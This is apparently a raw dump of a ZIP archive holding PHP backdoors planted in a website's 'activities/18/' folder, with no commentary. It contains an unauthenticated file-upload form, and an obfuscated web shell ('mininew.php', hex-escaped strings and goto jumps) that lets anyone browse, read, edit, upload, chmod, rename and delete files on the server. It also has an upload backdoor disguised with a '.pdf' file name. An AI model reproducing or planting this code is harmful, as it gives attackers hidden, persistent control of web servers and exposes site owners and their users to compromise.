'2000000'; $userfile_name = $_FILES['image']['name']; $userfile_tmp = $_FILES['image']['tmp_name']; if (isset($_FILES['image']['name'])) { $abod = $filedir.$userfile_name; @move_uploaded_file($userfile_tmp, $abod); echo"<center><b>Done ==> $userfile_name</b></center>"; } } else{ echo' <form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>'; } ?> PK ! � .�nU nU activities/18/mininew.phpnu �[��� <?php goto cLsSd; cLsSd: error_reporting(0); goto fO_TE; XVOm1: echo "\74\41\x44\117\103\x54\131\x50\105\40\x48\x54\x4d\x4c\x3e\xa\x3c\110\124\115\114\x3e\12\x3c\110\x45\101\x44\76\xa\x3c\164\151\164\x6c\145\76\62\60\61\67\103\x6f\143\165\x6d\x65\x6e\164\x2e\144\157\155\x61\151\156\74\57\x74\x69\164\154\x65\76\12\74\x73\164\x79\x6c\x65\x3e\12\142\157\144\x79\173\xa\x20\x20\x20\40\146\x6f\x6e\x74\x2d\x66\141\155\x69\154\171\72\40\x22\122\141\143\151\156\x67\x20\123\141\x6e\x73\40\x4f\x6e\x65\x22\54\40\x63\165\162\163\151\166\x65\x3b\xa\40\40\x20\40\142\x61\x63\x6b\x67\162\x6f\x75\x6e\144\55\x63\x6f\154\x6f\x72\72\40\43\145\66\x65\66\145\x36\x3b\xa\x20\40\40\40\164\145\x78\x74\55\x73\x68\141\144\x6f\167\72\60\x70\x78\x20\60\160\170\40\61\x70\170\x20\43\x37\65\x37\65\x37\x35\73\xa\x7d\xa\43\x63\x6f\156\x74\145\x6e\x74\x20\x74\x72\x3a\150\x6f\x76\x65\162\x7b\xa\x20\x20\40\40\x62\x61\x63\153\x67\x72\157\165\x6e\144\x2d\143\x6f\x6c\157\x72\x3a\x20\43\66\x33\x36\x32\66\63\73\xa\x20\x20\x20\x20\x74\145\170\x74\x2d\x73\150\141\144\157\x77\x3a\60\160\170\x20\60\160\170\x20\x31\60\x70\170\40\43\146\146\x66\x3b\12\x7d\12\43\143\157\156\x74\145\156\164\40\56\146\x69\162\163\x74\173\12\x20\x20\40\x20\x62\x61\143\x6b\147\x72\x6f\x75\156\x64\x2d\x63\x6f\x6c\157\x72\72\x20\163\151\x6c\x76\145\162\73\12\x7d\12\43\x63\157\x6e\164\x65\156\x74\40\56\146\x69\162\163\x74\x3a\150\157\166\145\162\173\12\x20\x20\x20\40\142\x61\x63\153\x67\162\157\x75\x6e\144\55\x63\157\x6c\157\162\x3a\x20\163\x69\x6c\x76\145\162\73\xa\40\x20\x20\40\x74\145\x78\164\55\163\150\141\144\157\x77\x3a\x30\160\x78\x20\x30\160\x78\40\61\x70\170\40\43\67\65\x37\x35\x37\x35\x3b\xa\x7d\xa\x74\141\x62\154\145\x7b\xa\40\40\x20\40\142\x6f\162\x64\145\162\x3a\40\61\160\170\x20\x23\x30\60\x30\60\60\x30\40\x64\157\x74\x74\x65\x64\73\12\175\xa\110\x31\x7b\12\x20\40\40\x20\146\x6f\156\x74\55\x66\x61\x6d\x69\x6c\171\72\x20\42\x52\x79\145\x22\x2c\x20\x63\165\x72\x73\151\x76\x65\73\xa\175\xa\x61\x7b\xa\x20\x20\x20\x20\x63\x6f\154\157\162\72\x20\43\x30\x30\x30\73\12\x20\x20\40\x20\x74\145\170\x74\x2d\x64\145\143\x6f\x72\x61\x74\x69\x6f\x6e\x3a\x20\156\x6f\156\145\x3b\xa\x7d\xa\x61\x3a\150\157\166\145\x72\173\xa\40\40\x20\x20\x63\157\x6c\x6f\x72\72\x20\43\146\x66\x66\73\12\x20\40\x20\40\x74\145\170\164\55\x73\150\x61\144\x6f\167\72\x30\x70\170\40\x30\x70\170\40\x31\x30\x70\170\x20\x23\146\146\x66\146\x66\x66\73\12\x7d\xa\151\156\160\165\x74\x2c\x73\145\x6c\145\x63\x74\54\x74\x65\170\x74\x61\x72\x65\141\173\xa\40\x20\40\40\x62\x6f\x72\144\x65\162\x3a\40\x31\x70\170\x20\43\60\x30\60\60\x30\60\x20\163\157\x6c\151\x64\73\12\40\x20\40\x20\x2d\x6d\157\172\x2d\142\157\162\144\145\162\55\x72\141\144\151\165\163\72\40\65\x70\170\73\12\x20\x20\x20\40\55\167\145\x62\153\x69\164\55\x62\157\162\x64\x65\x72\x2d\x72\x61\144\151\x75\x73\x3a\65\x70\x78\x3b\xa\40\x20\x20\x20\x62\157\162\144\x65\162\x2d\x72\141\x64\151\165\163\x3a\65\160\170\x3b\12\175\xa\x3c\57\163\x74\x79\154\x65\76\12\x3c\x2f\x48\x45\x41\x44\76\xa\74\x42\x4f\x44\x59\76\xa\x3c\x74\x61\x62\154\x65\x20\167\x69\144\164\x68\75\x22\67\60\60\x22\x20\x62\x6f\162\144\145\x72\x3d\x22\x30\42\40\143\x65\x6c\154\x70\x61\144\144\x69\x6e\x67\x3d\x22\63\x22\40\143\145\154\154\x73\x70\x61\x63\x69\x6e\x67\75\x22\61\x22\40\141\x6c\151\x67\x6e\x3d\x22\143\145\x6e\x74\145\162\42\76\12\74\164\162\76\x3c\164\144\x3e\103\x75\162\x72\x65\156\x74\40\120\x61\x74\150\40\x3a\40"; goto wHBUx; gaB48: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "\74\x61\x20\x68\162\145\x66\x3d\x22\77\160\x61\164\150\75" . base64_encode("\57") . "\42\76\x2f\74\57\141\x3e"; continue; } if ($pat == '') { continue; } echo "\74\141\x20\150\x72\145\x66\x3d\x22\x3f\x70\x61\x74\x68\75"; $linkpath = ''; for ($i = 0; $i <= $id; $i++) { $linkpath .= "{$paths[$i]}"; if ($i != $id) { $linkpath .= "\x2f"; } } echo base64_encode($linkpath); echo "\x22\76" . $pat . "\x3c\x2f\x61\76\57"; } goto jEvmS; rOlkQ: if (isset($_FILES["\x66\x69\154\145"])) { if (copy($_FILES["\x66\x69\154\x65"]["\x74\155\x70\137\156\141\x6d\x65"], $path . "\57" . $_FILES["\146\x69\154\145"]["\x6e\141\x6d\x65"])) { echo "\x3c\x66\157\156\x74\40\x63\157\x6c\x6f\x72\x3d\x22\x67\162\145\145\x6e\x22\76\x46\151\x6c\x65\x20\x55\x70\x6c\157\141\144\40\x44\x6f\x6e\x65\56\x3c\57\146\157\156\x74\x3e\x3c\142\162\x20\x2f\76"; } else { echo "\74\x66\157\156\164\x20\x63\x6f\x6c\157\x72\75\42\x72\145\144\42\76\x46\151\x6c\x65\x20\x55\160\154\157\x61\x64\x20\x45\162\162\157\162\x2e\x3c\x2f\x66\x6f\156\x74\76\74\142\162\40\57\76"; } } goto QLfzh; QLfzh: echo "\x3c\x66\157\x72\155\x20\145\156\143\164\x79\x70\145\x3d\42\x6d\x75\x6c\164\151\160\x61\162\164\57\146\157\162\x6d\55\144\x61\164\x61\x22\40\x6d\x65\164\150\157\144\75\x22\x50\x4f\123\124\42\x3e\xa\125\160\x6c\157\141\144\40\106\151\x6c\145\x20\72\x20\x3c\x69\156\160\x75\164\40\x74\x79\x70\145\x3d\42\x66\151\x6c\145\x22\40\156\x61\x6d\145\x3d\42\146\x69\x6c\145\x22\40\x2f\76\12\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\42\163\x75\x62\x6d\x69\x74\42\40\x76\x61\154\x75\x65\x3d\42\165\x70\x6c\x6f\141\x64\42\x20\57\x3e\xa\x3c\57\146\157\162\x6d\x3e\xa\74\x2f\164\x64\76\x3c\x2f\164\162\76"; goto LkvXu; LkvXu: if (isset($_GET["\146\151\x6c\145\163\162\143"])) { echo "\x3c\164\x72\76\x3c\164\144\x3e\x43\165\162\162\145\156\164\x20\106\151\x6c\x65\x20\x3a\40"; echo base64_decode($_GET["\146\x69\x6c\x65\x73\x72\143"]); echo "\x3c\57\164\162\76\74\x2f\164\x64\x3e\x3c\x2f\x74\141\142\154\145\x3e\x3c\x62\162\40\x2f\76"; echo "\x3c\x70\x72\x65\76" . htmlspecialchars(file_get_contents(base64_decode($_GET["\x66\151\x6c\145\163\x72\143"]))) . "\74\x2f\x70\162\x65\76"; } elseif (isset($_GET["\157\160\164\151\157\156"]) && $_POST["\x6f\x70\164"] != "\x64\x65\x6c\x65\x74\x65") { echo "\74\57\164\141\x62\x6c\145\x3e\74\x62\162\x20\57\76\74\143\145\156\x74\x65\162\x3e" . $_POST["\160\x61\x74\x68"] . "\74\x62\162\x20\x2f\x3e\x3c\142\162\40\57\76"; if ($_POST["\x6f\x70\164"] == "\x63\150\x6d\157\x64") { if (isset($_POST["\160\145\162\x6d"])) { if (chmod($_POST["\x70\x61\x74\150"], $_POST["\x70\145\162\155"])) { echo "\74\146\157\x6e\164\x20\x63\157\x6c\157\162\x3d\42\147\x72\x65\x65\156\x22\x3e\x43\x68\x61\156\147\x65\40\x50\x65\162\155\x69\163\163\x69\x6f\156\x20\104\x6f\x6e\145\x2e\74\x2f\x66\x6f\x6e\x74\76\74\142\x72\x20\x2f\76"; } else { echo "\x3c\146\157\x6e\164\40\x63\157\154\157\162\75\x22\x72\x65\x64\x22\x3e\103\x68\x61\x6e\x67\145\40\x50\145\162\x6d\151\x73\x73\x69\157\x6e\40\x45\162\162\157\x72\x2e\x3c\57\x66\x6f\156\164\76\x3c\x62\162\40\x2f\76"; } } echo "\x3c\146\157\x72\155\40\155\145\x74\150\157\x64\75\x22\120\x4f\123\x54\x22\x3e\12\40\x20\40\40\x20\x20\40\x20\120\x65\x72\x6d\x69\x73\x73\x69\x6f\x6e\40\72\x20\x3c\151\156\x70\165\164\x20\x6e\141\x6d\x65\75\x22\x70\x65\162\x6d\x22\x20\x74\x79\x70\145\75\x22\164\x65\x78\164\42\x20\x73\151\x7a\x65\75\42\x34\42\x20\166\141\x6c\165\145\75\42" . substr(sprintf("\45\157", fileperms($_POST["\160\x61\164\150"])), -4) . "\x22\x20\x2f\x3e\12\40\x20\x20\40\x20\40\x20\x20\74\x69\156\160\x75\x74\x20\164\x79\160\x65\x3d\x22\x68\151\x64\144\x65\156\42\x20\x6e\x61\155\145\75\x22\x70\x61\x74\x68\x22\x20\166\141\154\165\145\x3d\42" . $_POST["\160\x61\x74\x68"] . "\x22\76\12\40\x20\x20\40\40\x20\40\40\74\151\156\160\165\164\40\x74\x79\160\x65\75\42\x68\x69\x64\144\x65\156\x22\40\x6e\141\155\x65\x3d\42\157\160\164\42\40\x76\141\154\165\145\x3d\42\143\x68\155\x6f\144\42\76\12\x20\40\40\40\x20\40\x20\40\x3c\151\156\x70\x75\164\x20\x74\x79\160\145\75\42\x73\x75\142\x6d\151\x74\x22\40\166\141\154\165\x65\75\x22\107\157\x22\40\x2f\x3e\12\40\x20\x20\x20\x20\x20\x20\x20\74\x2f\146\157\162\155\76"; } elseif ($_POST["\x6f\160\164"] == "\162\x65\x6e\x61\155\x65") { if (isset($_POST["\x6e\x65\x77\x6e\141\155\x65"])) { if (rename($_POST["\160\x61\164\x68"], $path . "\x2f" . $_POST["\x6e\x65\x77\156\x61\x6d\x65"])) { echo "\x3c\x66\157\x6e\x74\40\x63\x6f\x6c\157\x72\75\x22\147\x72\x65\145\x6e\x22\x3e\x43\150\x61\x6e\x67\x65\x20\116\141\155\145\40\x44\157\156\145\56\74\57\146\157\156\164\x3e\x3c\x62\x72\x20\57\x3e"; } else { echo "\x3c\146\x6f\156\x74\40\x63\x6f\154\x6f\x72\x3d\x22\162\145\x64\x22\76\x43\x68\x61\156\x67\145\40\x4e\x61\155\145\40\105\162\162\157\162\x2e\x3c\57\146\x6f\x6e\x74\x3e\x3c\142\162\40\57\76"; } $_POST["\156\141\155\x65"] = $_POST["\156\x65\167\x6e\x61\x6d\145"]; } echo "\x3c\146\157\162\155\x20\x6d\x65\164\x68\x6f\x64\x3d\42\x50\x4f\123\x54\x22\76\12\x20\40\x20\x20\x20\40\x20\40\x4e\145\x77\x20\x4e\141\x6d\145\40\72\40\x3c\x69\156\x70\165\164\x20\x6e\x61\155\x65\x3d\42\x6e\x65\x77\156\x61\x6d\145\42\x20\x74\x79\160\145\x3d\x22\x74\145\170\164\42\x20\x73\151\172\x65\75\42\62\x30\x22\x20\166\x61\x6c\x75\x65\x3d\42" . $_POST["\156\x61\x6d\145"] . "\x22\x20\57\76\12\40\x20\40\x20\40\40\40\40\74\151\x6e\x70\165\164\40\164\x79\160\145\75\x22\x68\x69\144\x64\x65\x6e\x22\x20\x6e\x61\x6d\145\x3d\x22\x70\x61\x74\x68\42\x20\166\141\x6c\x75\x65\75\42" . $_POST["\160\141\164\150"] . "\42\76\xa\x20\40\x20\40\x20\40\x20\x20\74\151\156\x70\165\x74\x20\164\x79\160\145\75\42\150\x69\144\144\145\x6e\x22\40\x6e\141\155\145\x3d\x22\157\x70\x74\42\x20\166\141\x6c\x75\145\x3d\42\162\145\x6e\x61\155\x65\42\x3e\12\x20\40\x20\40\40\x20\x20\x20\x3c\151\156\160\165\x74\x20\x74\x79\160\145\x3d\42\x73\165\142\155\151\x74\42\40\x76\x61\154\165\x65\x3d\x22\107\x6f\42\40\x2f\x3e\12\40\40\40\x20\40\40\x20\40\74\57\x66\x6f\162\x6d\x3e"; } elseif ($_POST["\x6f\x70\164"] == "\145\x64\x69\164") { if (isset($_POST["\163\x72\x63"])) { $fp = fopen($_POST["\x70\141\x74\150"], "\167"); if (fwrite($fp, $_POST["\163\162\143"])) { echo "\x3c\146\x6f\156\x74\40\143\157\154\157\162\75\42\147\x72\x65\x65\x6e\42\x3e\105\144\x69\164\x20\106\151\154\x65\40\104\157\x6e\x65\56\x3c\x2f\146\157\156\x74\76\74\x62\x72\40\x2f\76"; } else { echo "\x3c\146\x6f\156\x74\x20\143\x6f\x6c\x6f\162\75\42\x72\145\x64\42\76\x45\x64\x69\x74\x20\106\151\154\x65\40\x45\162\x72\x6f\162\x2e\x3c\x2f\146\x6f\156\x74\x3e\74\x62\162\40\57\76"; } fclose($fp); } echo "\x3c\146\157\x72\x6d\40\x6d\x65\x74\x68\157\144\x3d\x22\120\x4f\123\x54\42\76\12\x20\x20\x20\40\x20\40\x20\x20\x3c\x74\x65\x78\x74\141\162\145\x61\x20\x63\x6f\154\163\75\x38\60\40\x72\x6f\x77\163\75\x32\x30\x20\x6e\141\x6d\145\x3d\42\163\x72\143\x22\x3e" . htmlspecialchars(file_get_contents($_POST["\160\141\164\150"])) . "\74\57\164\145\x78\164\x61\162\145\141\x3e\74\x62\x72\40\57\x3e\12\x20\x20\40\x20\x20\40\40\x20\x3c\x69\156\160\x75\x74\40\x74\171\160\145\x3d\x22\x68\151\x64\x64\145\x6e\x22\x20\x6e\x61\x6d\145\x3d\42\x70\x61\164\x68\42\x20\x76\x61\154\165\145\x3d\42" . $_POST["\x70\x61\164\x68"] . "\x22\76\xa\x20\x20\40\40\x20\x20\x20\x20\x3c\x69\156\x70\x75\164\x20\x74\x79\160\145\75\42\150\x69\x64\144\145\x6e\42\x20\x6e\x61\x6d\x65\x3d\x22\x6f\x70\x74\x22\x20\x76\x61\154\165\145\x3d\x22\145\x64\151\164\42\76\12\40\x20\x20\x20\x20\40\40\x20\74\x69\x6e\160\165\x74\40\164\171\x70\x65\x3d\x22\x73\165\142\155\151\164\x22\40\166\141\154\x75\x65\75\42\x47\157\42\x20\x2f\76\12\x20\40\40\x20\x20\x20\x20\40\x3c\x2f\146\x6f\162\155\76"; } echo "\x3c\x2f\143\145\156\x74\145\x72\x3e"; } else { echo "\74\57\x74\x61\142\154\145\x3e\x3c\x62\x72\x20\57\76\x3c\143\x65\x6e\x74\145\162\x3e"; if (isset($_GET["\x6f\x70\164\x69\x6f\x6e"]) && $_POST["\157\160\164"] == "\144\145\x6c\x65\164\145") { if ($_POST["\x74\x79\x70\x65"] == "\144\151\162") { if (rmdir($_POST["\x70\x61\164\x68"])) { echo "\74\146\157\156\164\40\143\157\x6c\157\162\75\42\x67\x72\x65\145\x6e\x22\76\x44\145\154\x65\164\145\x20\x44\151\162\x20\104\x6f\156\x65\x2e\74\x2f\x66\x6f\x6e\164\x3e\x3c\142\162\40\57\x3e"; } else { echo "\x3c\146\x6f\x6e\x74\x20\143\157\154\x6f\162\75\42\x72\x65\144\42\x3e\x44\145\x6c\145\164\145\40\x44\151\x72\40\x45\162\x72\157\162\56\74\x2f\146\157\156\x74\76\74\x62\x72\40\57\76"; } } elseif ($_POST["\x74\x79\x70\x65"] == "\146\x69\154\145") { if (unlink($_POST["\160\141\164\x68"])) { echo "\74\146\157\x6e\x74\40\143\157\154\157\x72\x3d\x22\147\162\145\x65\x6e\42\x3e\x44\x65\x6c\x65\164\x65\x20\106\151\154\145\40\104\157\156\145\x2e\x3c\57\x66\157\x6e\x74\76\x3c\142\162\40\57\76"; } else { echo "\74\x66\157\156\164\40\143\157\x6c\157\162\x3d\x22\162\145\144\42\76\104\145\x6c\145\x74\145\x20\106\151\154\145\x20\x45\x72\x72\x6f\x72\x2e\x3c\x2f\146\x6f\x6e\164\x3e\74\x62\x72\x20\x2f\x3e"; } } } echo "\74\x2f\143\x65\x6e\x74\145\x72\x3e"; $scandir = scandir($path); echo "\x3c\x64\151\x76\x20\151\x64\x3d\x22\143\157\156\x74\x65\156\x74\42\76\74\164\x61\x62\x6c\x65\x20\x77\x69\x64\164\150\75\x22\x37\60\x30\x22\40\x62\157\162\144\x65\162\75\x22\x30\42\40\x63\x65\154\x6c\160\141\x64\144\x69\156\x67\x3d\42\63\x22\40\143\x65\x6c\x6c\163\160\x61\143\x69\x6e\x67\75\x22\x31\42\x20\141\154\151\147\156\75\42\x63\145\156\164\x65\162\42\x3e\xa\40\40\40\40\x3c\x74\162\40\x63\x6c\x61\x73\163\x3d\42\146\151\x72\x73\x74\x22\x3e\xa\x20\x20\x20\40\40\40\x20\40\x3c\x74\x64\x3e\74\143\x65\x6e\164\145\162\76\x4e\x61\x6d\145\74\x2f\x63\145\156\164\145\162\76\74\57\x74\x64\76\xa\40\40\x20\40\40\40\40\x20\74\x74\144\x3e\74\x63\145\156\164\x65\162\x3e\x53\x69\172\145\74\57\143\145\x6e\x74\x65\x72\76\x3c\x2f\x74\144\76\xa\x20\x20\x20\x20\x20\40\x20\40\x3c\164\x64\76\74\x63\x65\x6e\164\x65\162\76\x50\145\x72\155\x69\x73\163\151\157\156\x73\74\x2f\143\145\156\x74\x65\x72\x3e\x3c\x2f\x74\144\76\12\x20\40\40\40\x20\x20\x20\x20\74\164\144\76\x3c\x63\x65\x6e\x74\145\x72\76\x4f\160\164\x69\157\x6e\x73\x3c\x2f\143\x65\x6e\x74\x65\x72\76\74\57\x74\144\x3e\12\40\x20\x20\x20\74\57\x74\162\76"; foreach ($scandir as $dir) { if (!is_dir("{$path}\57{$dir}") || $dir == "\56" || $dir == "\56\x2e") { continue; } $dirlink = base64_encode("{$path}\57{$dir}"); echo "\74\x74\162\x3e\xa\x20\40\40\40\40\x20\x20\x20\74\164\x64\x3e\x3c\141\x20\x68\x72\145\146\x3d\x22\77\160\x61\x74\150\x3d{$dirlink}\x22\x3e{$dir}\x3c\x2f\141\76\x3c\57\x74\144\76\xa\x20\40\x20\x20\40\40\x20\x20\74\164\x64\x3e\74\143\145\x6e\x74\145\x72\x3e\x2d\x2d\x3c\57\143\x65\x6e\x74\145\x72\76\74\x2f\x74\144\76\12\40\x20\40\40\x20\40\40\x20\x3c\x74\144\76\74\x63\145\156\x74\145\x72\76"; if (is_writable("{$path}\57{$dir}")) { echo "\x3c\146\157\156\x74\x20\x63\x6f\154\x6f\162\x3d\x22\x67\x72\x65\145\x6e\x22\76"; } elseif (!is_readable("{$path}\57{$dir}")) { echo "\x3c\146\157\156\164\x20\x63\157\154\x6f\162\75\x22\x72\x65\x64\42\x3e"; } echo perms("{$path}\57{$dir}"); if (is_writable("{$path}\x2f{$dir}") || !is_readable("{$path}\x2f{$dir}")) { echo "\x3c\x2f\146\157\156\x74\76"; } echo "\74\x2f\x63\x65\x6e\164\145\x72\76\74\57\x74\144\x3e\12\40\x20\x20\40\x20\40\40\x20\74\164\x64\x3e\x3c\x63\x65\x6e\x74\145\x72\x3e\74\146\x6f\x72\155\x20\x6d\x65\x74\150\x6f\x64\75\42\x50\x4f\123\x54\42\x20\x61\143\x74\x69\x6f\x6e\x3d\x22\77\157\x70\x74\151\157\x6e\x26\x70\141\x74\150\x3d{$pathen}\x22\76\xa\x20\x20\x20\x20\40\x20\40\40\x3c\x73\145\x6c\x65\x63\164\x20\x6e\x61\155\145\x3d\x22\x6f\160\164\42\76\12\11\x20\40\40\x20\x3c\157\160\164\151\x6f\x6e\40\166\141\154\x75\x65\75\42\42\76\x3c\57\x6f\160\164\151\157\x6e\x3e\12\x20\40\40\40\40\40\40\40\x3c\x6f\160\164\151\x6f\x6e\40\166\141\x6c\x75\x65\x3d\x22\144\x65\154\x65\164\145\42\x3e\104\145\x6c\145\164\145\74\x2f\x6f\160\164\151\157\156\x3e\12\x20\40\x20\x20\x20\x20\x20\x20\x3c\x6f\x70\164\151\x6f\156\x20\166\x61\154\165\x65\75\x22\x63\150\x6d\157\144\42\x3e\103\x68\155\157\144\74\57\157\x70\164\x69\x6f\x6e\76\12\40\x20\40\40\40\x20\x20\x20\x3c\x6f\160\164\x69\x6f\156\x20\x76\x61\x6c\165\145\x3d\42\x72\x65\x6e\141\x6d\145\42\x3e\122\x65\156\141\x6d\145\74\x2f\157\160\164\151\157\156\76\12\40\x20\40\40\40\40\40\x20\x3c\x2f\x73\x65\x6c\145\143\x74\x3e\12\x20\40\x20\x20\40\40\x20\x20\74\x69\156\160\x75\x74\x20\164\x79\160\x65\x3d\x22\x68\151\x64\144\145\156\42\x20\156\141\155\x65\75\x22\x74\171\160\145\42\40\x76\141\154\165\x65\75\42\x64\x69\162\42\x3e\12\x20\x20\x20\40\x20\x20\40\x20\x3c\x69\x6e\160\165\164\x20\164\x79\x70\x65\75\x22\150\x69\144\144\145\x6e\42\x20\156\x61\155\145\x3d\42\156\141\x6d\145\x22\40\x76\141\x6c\165\x65\x3d\x22{$dir}\42\76\xa\x20\40\40\x20\40\40\x20\40\x3c\151\156\x70\x75\164\x20\x74\171\160\x65\75\42\150\x69\x64\x64\x65\x6e\x22\40\x6e\141\155\x65\75\x22\x70\141\164\x68\42\40\x76\141\154\x75\145\x3d\x22{$path}\57{$dir}\x22\76\12\x20\40\x20\40\40\x20\x20\40\74\x69\x6e\x70\x75\164\x20\x74\171\x70\145\75\x22\163\x75\x62\x6d\151\x74\42\40\x76\141\154\x75\145\75\x22\x3e\x22\x20\x2f\x3e\xa\40\x20\x20\x20\40\40\x20\x20\74\x2f\x66\157\162\155\x3e\x3c\57\143\x65\156\x74\x65\162\76\74\57\164\x64\x3e\xa\x20\x20\x20\40\x20\40\x20\40\x3c\57\164\x72\x3e"; } echo "\x3c\x74\162\x20\143\154\141\163\x73\75\x22\146\151\x72\163\164\x22\76\74\164\x64\x3e\x3c\57\164\144\x3e\x3c\164\x64\x3e\x3c\57\164\144\76\74\164\144\76\74\57\x74\x64\x3e\74\164\144\x3e\x3c\57\164\144\76\74\x2f\x74\162\x3e"; foreach ($scandir as $file) { if (!is_file("{$path}\x2f{$file}")) { continue; } $size = filesize("{$path}\57{$file}") / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . "\40\x4d\102"; } else { $size = $size . "\40\113\x42"; } $filelink = base64_encode("{$path}\x2f{$file}"); echo "\74\x74\162\x3e\xa\x20\40\x20\40\x20\40\40\x20\74\x74\x64\x3e\x3c\141\40\150\x72\145\146\x3d\x22\77\146\x69\x6c\145\x73\162\x63\75{$filelink}\46\x70\x61\164\150\x3d{$pathen}\x22\76{$file}\74\57\x61\76\74\57\x74\x64\76\xa\40\40\x20\40\x20\40\x20\x20\74\164\x64\x3e\x3c\x63\x65\156\164\145\x72\x3e" . $size . "\x3c\x2f\143\x65\156\164\145\x72\x3e\x3c\x2f\x74\x64\x3e\12\x20\40\40\x20\40\x20\x20\40\74\164\x64\x3e\x3c\143\145\x6e\x74\145\162\76"; if (is_writable("{$path}\x2f{$file}")) { echo "\x3c\x66\x6f\x6e\164\x20\143\x6f\154\157\x72\x3d\x22\147\x72\145\145\x6e\x22\76"; } elseif (!is_readable("{$path}\x2f{$file}")) { echo "\74\x66\x6f\156\164\x20\143\157\154\157\x72\75\42\x72\x65\144\42\76"; } echo perms("{$path}\57{$file}"); if (is_writable("{$path}\57{$file}") || !is_readable("{$path}\57{$file}")) { echo "\74\57\x66\x6f\x6e\x74\x3e"; } echo "\x3c\57\143\145\156\x74\x65\162\x3e\74\57\x74\x64\x3e\xa\40\40\40\40\x20\40\40\x20\74\x74\x64\x3e\x3c\x63\x65\x6e\164\145\162\76\74\x66\x6f\162\155\40\x6d\145\164\x68\157\144\75\x22\x50\x4f\x53\x54\x22\x20\x61\143\x74\151\157\x6e\x3d\42\77\x6f\160\164\151\157\156\x26\160\x61\x74\x68\x3d{$pathen}\x22\x3e\xa\x20\40\40\x20\x20\40\x20\40\x3c\x73\145\x6c\x65\143\x74\40\x6e\x61\155\145\75\42\157\160\x74\x22\x3e\12\11\40\x20\40\x20\74\x6f\160\x74\151\x6f\156\40\x76\x61\154\165\145\x3d\42\42\x3e\x3c\x2f\x6f\x70\164\151\157\156\x3e\xa\40\40\x20\x20\40\x20\x20\x20\74\x6f\160\x74\151\157\x6e\40\x76\141\154\x75\145\x3d\x22\x64\145\x6c\145\164\145\42\76\104\x65\154\145\164\x65\x3c\57\157\x70\x74\x69\x6f\x6e\x3e\12\40\40\40\x20\40\x20\40\40\x3c\157\160\164\151\157\x6e\x20\166\141\x6c\165\145\x3d\42\x63\150\x6d\x6f\x64\42\x3e\103\x68\155\x6f\x64\x3c\57\157\160\164\x69\x6f\156\76\xa\x20\x20\x20\40\x20\40\40\40\74\157\160\164\x69\x6f\x6e\x20\166\141\x6c\x75\x65\75\42\x72\145\156\x61\155\145\x22\76\122\145\156\x61\155\x65\x3c\x2f\x6f\x70\x74\151\x6f\156\76\xa\40\x20\40\x20\x20\x20\x20\x20\74\157\160\x74\151\x6f\156\x20\166\141\x6c\165\x65\75\42\x65\144\151\164\x22\x3e\x45\x64\x69\x74\x3c\57\157\160\x74\151\x6f\x6e\76\12\x20\x20\x20\x20\40\x20\x20\x20\x3c\x2f\x73\x65\x6c\x65\143\164\76\xa\x20\40\40\40\40\x20\x20\40\x3c\151\156\160\x75\164\x20\x74\x79\x70\145\75\x22\x68\151\144\x64\145\x6e\42\x20\156\x61\x6d\x65\x3d\x22\164\x79\x70\x65\x22\40\x76\x61\154\x75\x65\75\42\146\x69\x6c\145\42\76\12\40\40\40\x20\40\40\40\40\x3c\151\x6e\160\x75\164\x20\164\171\x70\x65\75\x22\x68\x69\144\144\145\156\x22\x20\x6e\141\155\x65\x3d\42\x6e\x61\x6d\x65\x22\x20\x76\141\154\x75\x65\75\42{$file}\42\x3e\12\x20\x20\x20\x20\x20\40\40\40\74\151\x6e\160\165\164\x20\x74\x79\160\145\x3d\x22\150\151\x64\144\x65\x6e\x22\40\x6e\141\x6d\145\x3d\x22\x70\141\164\150\42\x20\x76\x61\154\x75\145\75\x22{$path}\x2f{$file}\x22\x3e\12\40\40\40\40\x20\40\x20\40\x3c\151\156\160\x75\x74\40\164\x79\x70\x65\x3d\42\163\165\x62\x6d\x69\x74\42\40\166\x61\x6c\x75\145\x3d\x22\76\42\40\57\76\12\x20\40\40\40\40\40\x20\x20\74\57\146\x6f\x72\155\76\74\57\143\145\x6e\x74\x65\162\76\74\57\x74\144\76\12\x20\40\40\x20\40\40\40\40\x3c\57\x74\x72\76"; } echo "\x3c\x2f\164\141\x62\154\145\76\12\x20\x20\40\40\x3c\x2f\144\151\x76\x3e"; } goto HqK0U; YihI6: $path = str_replace("\x5c", "\x2f", $path); goto bgJMF; ozTk4: if (get_magic_quotes_gpc()) { foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); } } goto XVOm1; wHBUx: if (isset($_GET["\x70\x61\x74\x68"])) { $path = base64_decode($_GET["\x70\141\x74\x68"]); } else { $path = getcwd(); } goto ETrwl; eVdts: function perms($file) { $perms = @fileperms($file); if (($perms & 49152) == 49152) { $info = "\x73"; } elseif (($perms & 40960) == 40960) { $info = "\x6c"; } elseif (($perms & 32768) == 32768) { $info = "\55"; } elseif (($perms & 24576) == 24576) { $info = "\x62"; } elseif (($perms & 16384) == 16384) { $info = "\x64"; } elseif (($perms & 8192) == 8192) { $info = "\143"; } elseif (($perms & 4096) == 4096) { $info = "\160"; } else { $info = "\x75"; } $info .= $perms & 256 ? "\162" : "\55"; $info .= $perms & 128 ? "\x77" : "\x2d"; $info .= $perms & 64 ? $perms & 2048 ? "\x73" : "\x78" : ($perms & 2048 ? "\x53" : "\x2d"); $info .= $perms & 32 ? "\x72" : "\55"; $info .= $perms & 16 ? "\x77" : "\x2d"; $info .= $perms & 8 ? $perms & 1024 ? "\163" : "\170" : ($perms & 1024 ? "\x53" : "\55"); $info .= $perms & 4 ? "\x72" : "\55"; $info .= $perms & 2 ? "\167" : "\x2d"; $info .= $perms & 1 ? $perms & 512 ? "\x74" : "\170" : ($perms & 512 ? "\x54" : "\x2d"); return $info; } goto nICZy; fO_TE: set_time_limit(0); goto ozTk4; jEvmS: echo "\74\57\x74\144\76\x3c\57\164\162\76\74\x74\x72\x3e\74\x74\x64\x3e"; goto rOlkQ; bgJMF: $paths = explode("\x2f", $path); goto gaB48; HqK0U: echo "\xa\x3c\x2f\102\117\104\131\76\xa\74\x2f\x48\124\x4d\x4c\76"; goto eVdts; ETrwl: $pathen = base64_encode($path); goto YihI6; nICZy: ?>PK ! g�|& 2 activities/18/49423ad1bc52819ddda91a7290d43995.pdfnu �[��� <?php if(isset($_POST['Submit'])){ $filedir = ""; $maxfile = '2000000'; $userfile_name = $_FILES['image']['name']; 